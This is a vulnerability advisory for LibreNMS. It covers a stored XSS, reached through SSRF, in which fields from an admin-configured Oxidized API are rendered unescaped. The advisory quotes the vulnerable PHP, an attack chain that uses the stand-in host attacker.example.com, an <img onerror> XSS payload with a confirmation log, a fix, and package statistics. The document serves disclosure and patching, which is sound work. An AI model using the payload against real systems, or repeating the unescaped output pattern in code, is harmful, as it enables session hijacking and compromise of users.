LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page
Summary
The Oxidized integration URL (oxidized.url) is admin-configurable. LibreNMS fetches device info and version history from that URL and renders JSON fields (name, ip, model, author, commit message) into HTML without htmlspecialchars(). An admin pointing the URL at an attacker-controlled server achieves persistent XSS affecting all users who view any device's showconfig tab.
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N — 8.1 High
Details
// includes/html/pages/device/showconfig.inc.php:276-278
echo '<li ...><strong>Node:</strong> ' . $node_info['name'] . '</li>';
echo '<li ...><strong>IP:</strong> ' . $node_info['ip'] . '</li>';
echo '<li ...><strong>Model:</strong> '. $node_info['model'] . '</li>';
// lines 349, 353: author and commit message also unescapedAttack chain
- Admin sets
oxidized.urltohttp://attacker.example.com/. - Attacker server returns
{"name":"<img src=x onerror=alert(1)>","ip":"x","model":"x"}. - Any user viewing any device showconfig tab triggers the XSS.
PoC
Mock Oxidized server confirmed in response:
[!!!] CONFIRMED — ...<strong>Node:</strong> <img src=x onerror="alert('SSRF-XSS-oxidized')">...Fix
echo '<li ...><strong>Node:</strong> ' . htmlspecialchars($node_info['name'], ENT_QUOTES, 'UTF-8') . '</li>';Apply to all fields from $node_info, $author, $msg.
Prerequisite
Admin session. Oxidized integration must be enabled.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 26.7.0 | 26.7.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N- Weakness (CWE)
CWE-79, CWE-918- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 18.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7gww-x7fh-jf9j - CC BY 4.0
Vulnerability history: librenms/librenms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page this entry
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